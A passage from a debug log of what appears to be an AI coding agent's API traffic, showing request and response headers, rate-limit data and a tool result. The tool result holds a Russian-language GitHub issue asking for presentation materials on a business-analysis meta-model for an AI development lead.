\"POST\",\n[2026-09-29T07:46:44.749Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:44.754Z] [STDOUT]   options: {\n[2026-09-29T07:46:44.758Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:44.762Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:44.765Z] [STDOUT]     body: {\n[2026-09-29T07:46:44.767Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:44.770Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:44.774Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:44.778Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:46:44.780Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:44.785Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:44.788Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:44.792Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:44.796Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:44.799Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:46:44.803Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:44.809Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:44.817Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:44.825Z] [STDOUT]     },\n[2026-09-29T07:46:44.832Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:44.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:44.847Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:44.850Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:44.852Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:44.855Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:44.859Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:44.863Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:44.867Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:44.870Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:44.874Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:44.879Z] [STDOUT]     },\n[2026-09-29T07:46:44.881Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:44.884Z] [STDOUT]   },\n[2026-09-29T07:46:44.887Z] [STDOUT]   headers: {\n[2026-09-29T07:46:44.889Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:44.894Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:44.897Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:44.899Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:44.904Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:44.910Z] [STDOUT]     authorization: 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\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:49.943Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:49.947Z] [STDOUT]   headers: {\n[2026-09-29T07:46:49.953Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:49.957Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:49.962Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:49.966Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:49.969Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:49.974Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:49.978Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:49.982Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:49.986Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:49.989Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:49.991Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:49.994Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:49.996Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.006Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.013Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:50.016Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:50.020Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:50.022Z] [STDOUT]     \"cf-ray\": \"a429602a2e4929ad-FRA\",\n[2026-09-29T07:46:50.031Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:50.036Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:50.054Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:50.060Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:50.067Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:49 GMT\",\n[2026-09-29T07:46:50.072Z] [STDOUT]     \"request-id\": \"req_011CfXMrWsncbnNZnykAPYhy\",\n[2026-09-29T07:46:50.075Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:50.087Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:50.090Z] [STDOUT]     traceresponse: \"00-91c7713efe11066c43492ff78014ca58-9823c9b595805e05-01\",\n[2026-09-29T07:46:50.094Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:50.099Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:50.103Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:50.105Z] [STDOUT]   },\n[2026-09-29T07:46:50.108Z] [STDOUT]   durationMs: 7040,\n[2026-09-29T07:46:50.112Z] [STDOUT] }\n[2026-09-29T07:46:50.115Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:50.119Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:49 GMT\",\n[2026-09-29T07:46:50.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:50.131Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:50.134Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:50.137Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:50.141Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:50.143Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:50.146Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:50.151Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:50.158Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:50.162Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:50.164Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:50.167Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.171Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:50.173Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:50.176Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:50.179Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.183Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:50.185Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:50.189Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:50.192Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:50.197Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.202Z] [STDOUT]   \"request-id\": \"req_011CfXMrWsncbnNZnykAPYhy\",\n[2026-09-29T07:46:50.206Z] [STDOUT]   \"traceresponse\": \"00-91c7713efe11066c43492ff78014ca58-9823c9b595805e05-01\",\n[2026-09-29T07:46:50.209Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:50.213Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:50.216Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:50.218Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:50.224Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:50.230Z] [STDOUT]   \"cf-ray\": \"a429602a2e4929ad-FRA\",\n[2026-09-29T07:46:50.235Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:50.241Z] [STDOUT] [log_2acf72] response parsed {\n[2026-09-29T07:46:50.247Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.252Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:50.255Z] [STDOUT]   body: X {\n[2026-09-29T07:46:50.258Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:50.263Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:50.267Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:50.272Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:50.281Z] [STDOUT]     },\n[2026-09-29T07:46:50.285Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:50.289Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:50.296Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:50.311Z] [STDOUT]   },\n[2026-09-29T07:46:50.319Z] [STDOUT]   durationMs: 7041,\n[2026-09-29T07:46:50.339Z] [STDOUT] }\n[2026-09-29T07:46:50.347Z] [INFO] {\n[2026-09-29T07:46:50.347Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"message\": {\n[2026-09-29T07:46:50.347Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:50.347Z] [INFO]     \"content\": [\n[2026-09-29T07:46:50.347Z] [INFO]       {\n[2026-09-29T07:46:50.347Z] [INFO]         \"tool_use_id\": \"toolu_01NNWZBo95jdfZ5zD6nLqPoC\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"content\": \"title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.\\n6. **\u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:** \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (GigaCode CLI / Cline) \u2192 \u0412\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f: \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 (\u0421\u0440\u0435\u0434\u0430 